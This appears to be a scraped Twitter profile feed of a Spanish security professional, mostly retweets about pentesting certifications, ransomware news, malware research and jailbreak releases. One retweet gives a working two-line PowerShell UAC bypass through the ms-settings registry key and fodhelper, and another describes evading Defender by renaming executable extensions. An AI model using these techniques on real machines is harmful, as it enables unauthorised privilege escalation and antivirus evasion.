Rafa Páez Jaime

OSCP, OSEP, CRTE, PACES, ISA/IEC-62443, CEH · IT and OT Security · Pentesting · Steganography · Computer Forensics · ICS/SCADA

[Pentester Academy @SecurityTube]

Congratulations to @fikih888 for the rare distinction of clearing our PentesterAcademy Certified Enterprise Security Specialist exam! #PACES #GCBLab cc @nikhil_mitt https://t.co/BEOgDyk15i

[ProtAAPP - Protege las AAPP @ProtAAPP]

Excelente diagrama sobre #Log4Shell. En rojo dónde puedes bloquear/contener el ataque.

[elhacker.NET @elhackernet]

Empresa de electricidad pierde todos los registros y facturas de clientes de los últimos 25 años después de ser víctima de un ataque de ransomware
- Asociación Eléctrica Delta-Montrose (DMEA), compañía de energía eléctrica del estado de Colorado
https://t.co/aj6WqqOU22

[Nikhil Mittal @nikhil_mitt]

Never tried this before! 200 RTs and I will do an 'Introduction to Azure Penetration Testing' class for FREE sometime during the Holiday season. #Azure #Pentesting #redteam

[Virus Bulletin @virusbtn]

A whitepaper from ESET's @adorais & @0xfmz compares all known malware frameworks designed to breach air-gapped networks. All the frameworks are designed to perform some form of espionage & use USB drives as the physical transmission medium to transfer data https://t.co/QBxEswxCHP

[Alfonso Muñoz, Phd @mindcrypt]

Durante esta semana #blackfriday mi último libro (Estegomalware - Evasión de antivirus) está con un 40% de descuento. Quizás te apetezca leerlo, legalarlo o pedírselo a Papa Noel :) - https://t.co/hebQTu52r2

[mr.d0x @mrd0x]

Here I bypassed Defender AV by making:
.eyb files as .exe
.faq files as .dll

I'm sure this can work on other security solutions and for many other blacklisted techniques. (1/2)

[Rafa Páez Jaime @fikih888]

@iChuseboi Cheers mate! :D

[Alfonso Muñoz, Phd @mindcrypt]

Acabo de publicar el libro "Estegomalware - Evasión de antivirus y seguridad perimetral usando esteganografía". La primera obra de esta disciplina con más de 200 referencias... https://t.co/CtUKOgiRL5

[USCYBERCOM Cybersecurity Alert @CNMF_CyberAlert]

Mass exploitation of Atlassian Confluence CVE-2021-26084 is ongoing and expected to accelerate. Please patch immediately if you haven’t already— this cannot wait until after the weekend.

[Guillermo González @gg0nzal3z]

El cyberlab de @KPMG_ES sigue creciendo. Doy la bienvenida a nuestras 3 últimas incorporaciones: @tomsito23 @h4ms1k @_nag0mez #Pentesting #redteam

[Joel GM @JoelGMSec]

I'm so proud to announce that #Cloudtopolis will be present at Black Hat USA Arsenal 2021 :)

#BHUSA
@BlackHatEvents

https://t.co/aFpyCTG0vT

[Nicolas Krassas @Dinosn]

Vulnerable OAuth-2.0 Applications https://t.co/BspJOzI3cY

[؜ @xxByte]

UAC bypass in 2 lines:

```
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force

New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
```
cmd -> fodhelper

PoC||GTFO

[Emad Shanab - أبو عبد الله @Alra3ees]

A curated list of web-app firewall (WAF) stuff
https://t.co/ga9OfiFLfV

[Johnny Xmas @J0hnnyXm4s]

This is 100% correct and I have nothing to add.

$BTC #Bitcoin Explained

[axi0mX @axi0mX]

iPhone jailbreaking is not dead yet.

@Pwn20wnd will be releasing #unc0ver 6.0.0 today:
* EVERY DEVICE, including A14 is supported
* EVERY VERSION, iOS 11.0 - iOS 14.3

Thanks @Pwn20wnd. Let's get #unc0ver trending again.

[Vincent Yiu @vysecurity]

Red Tip #434: SSH Agent Forwarding can be exploited to advance your presence on a network without SSH keys or passwords. @int0x08 has an example command snippet available at https://t.co/OMBvXgaqpE. Great for when you have a shell but no credentials. #redteam #cyber #sshagent

[mohammed eldeeb @malcolmx0x]

SQL injection , is not critical, because attacker must guess the correct values to receive a valid response 🤷‍♂️
@0x4148 شفنا العجب والله

[Marta Fusté @FusteMarta]

El crecimiento no es lineal, sea del tipo que sea, y no pasa nada. Lo importante es seguir avanzando en el camino
#desarrollopersonal